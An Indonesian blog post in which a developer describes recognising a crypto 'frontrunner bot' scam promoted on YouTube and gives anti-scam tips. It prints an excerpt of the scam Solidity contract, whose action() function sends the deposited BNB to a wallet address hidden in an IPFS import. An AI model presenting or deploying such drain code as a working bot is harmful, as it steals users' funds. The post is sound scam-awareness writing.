Bagaimana Saya Selamat dari Penipuan ‘Frontrunner Bot’ Crypto

Arief Ridwan
TelkomDev
Published in
4 min readMar 17, 2022
Photo by Brett Jordan on Unsplash

Cerita ini berawal dari rekomendasi video youtube di beranda Saya yang intinya menyatakan bahwa

Dengan menggunakan ‘Flash loan Arbitrage’ bisa membuat profit yang besar !!

Bagi siapa pun pemula yang baru terjun ke cryptoverse pasti akan sangat tertarik melihatnya, apalagi menjanjikan keuntungan yang cukup besar. Namun perlu diketahui bahwa penipuan / scam di dunia crypto sangat sering terjadi dan target penipuan tersebut adalah orang-orang baru yang tidak memiliki pengetahuan cukup luas mengenai teknologi cryptocurrency maupun teknologi informasi pada umumnya.

Singkat cerita Saya menonton video tersebut dari awal hingga akhir, dan mulai berpikir bahwa langkah-langkah yang diberikan cenderung mudah. Cukup copy paste source code kemudian compile dan deploy pada blockchain menggunakan editor Remix kita dijanjikan akan mendapatkan passive income dari bot yang kita deploy pada blockchain tersebut. Dalam video tersebut pembuat meng-klaim bahwa bot akan melakukan transaksi arbitrase pada decentralized exchange pancakeswap dimana keuntungan dari transaksi arbitrase tersebut akan dikembalikan dalam bentuk BNB kepada wallet kita dengan syarat kita harus mengirimkan sejumlah BNB (minimal 0.5 BNB) ke alamat smart contract yang telah kita deploy.

Bagi orang awam mungkin akan berpikir “Wow mudah banget!!” namun lain halnya dengan Saya yang memiliki background IT dan programming cenderung penasaran serta curiga dengan cara tersebut. Langsung saja kita lihat kode smart contract nya :

pragma solidity ^0.5.0;// Multiplier-Finance Smart Contractsimport "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";// PancakeSwap Smart Contractsimport "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";...import "ipfs://QmeptSCsAP6yxS18gRurkTwaTUNyLu4YMyR4dd1r3p7MzP";contract TiayflashbotBNB {   string public tokenName;   string public tokenSymbol;   uint loanAmount;   Manager manager;   constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {   tokenName = _tokenName;   tokenSymbol = _tokenSymbol;   loanAmount = _loanAmount;   manager = new Manager();   }   function() external payable {}   function action() public payable {   // Send required coins for swapaddress(uint160(manager.pancakeswapDepositAddress())).transfer(address(this).balance);   // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)   manager.performTasks();  }
...
}

Sekilas dilihat cukup mencurigakan, untuk membuat bot arbitrase hanya dengan sedikit baris kode. Namun saya coba berbaik sangka terlebih dahulu mungkin ada banyak baris kode pada bagian import. Jika dilihat semua import tidak terlalu mencurigakan, hanya mengambil kode interface namun tidak dengan

import “ipfs://QmeptSCsAP6yxS18gRurkTwaTUNyLu4YMyR4dd1r3p7MzP”;

Saya awalnya cukup curiga dengan baris ini namun karena sulit membuktikannya akhirnya Saya coba compile menggunakan Remix dan akhirnya muncul kejanggalan.

Kode mencurigakan muncul

Tanpa pikir panjang Saya langsung cek kode tersebut dan alhasil muncul kode seperti ini :

Muncul wallet address mencurigakan

Pada baris ke 9 merupakan alamat wallet, karena sistem blockchain yang transparan saya coba cek lewat bscscan untuk melihat aktivitas dari wallet tersebut.

Masukkan alamat wallet ke bscscan

Di bagian aktivitas transaksi wallet tersebut ada banyak transaksi keluar dari wallet tersebut, apakah mencurigakan ? Bisa jadi iya bisa jadi tidak. Namun alangkah kagetnya saya setelah melihat di bagian tab comment.

Komentar dari korban scam

Dengan ini Saya dapat menyimpulkan bahwa video yang saya tonton barusan adalah scam. Korban yang telah mengirimkan sejumlah BNB ke wallet penipu akan menunggu profit dari bot arbitrase selamanya yang mana hal itu tidak akan pernah terjadi.

Saya cukup bersyukur dapat terhindar dari penipuan tersebut, yang cukup disayangkan adalah hingga cerita ini ditulis sudah ada 3000 lebih penonton video tersebut dan belum tentu semua penonton mengetahui bahwa video tersebut penipuan.

Berikut beberapa tips untuk dapat terhindar dari penipuan di dunia crypto :

  1. Tidak ada cara instan mendapat uang dengan mudah, jika ada video yang menjanjikan demikian Anda harus curiga.
  2. Jangan pernah mengirim koin ke alamat sembarangan (termasuk alamat smart contract), pastikan Anda tahu siapa yang anda kirimi koin Anda. Jika ada seseorang yang mensyaratkan mengirim koin ke alamat tertentu untuk keuntungan yang lebih besar hampir dipastikan itu adalah scam.
  3. Jangan mudah percaya dengan komentar video, komentar di video dapat dimanipulasi. Komentar video dimanipulasi penipu agar terlihat menjanjikan.
  4. Selalu cek kode yang akan Anda deploy ke blockchain, hal ini mungkin cukup sulit untuk Anda yang tidak memiliki background IT maupun programming. Jika ragu bisa tanyakan ke teman Anda yang paham atau hubungi saya disini.
  5. Kode yang diambil dari sumber Ghostbin atau Pastebin, jika ada kode yang diambil dari sumber di atas Anda patut curiga. Kode yang lebih bisa diukur biasanya diambil dari Github. Namun tidak menutup kemungkinan hal itu menjamin kode tersebut bukan penipuan, kembali ke rules nomor 4. :)

Pada akhirnya tidak ada cara instan untuk mendapatkan uang bagaimanapun caranya. Cara terbaik yaitu menabung dan berinvestasi pada aset terbaik (BTC) dengan sabar walau butuh waktu cukup lama.

“Keep stacking Sats !”

--

--

Arief Ridwan
TelkomDev

iOS Developer, Blockchain & Crypto Enthusiast, also interest in Music Production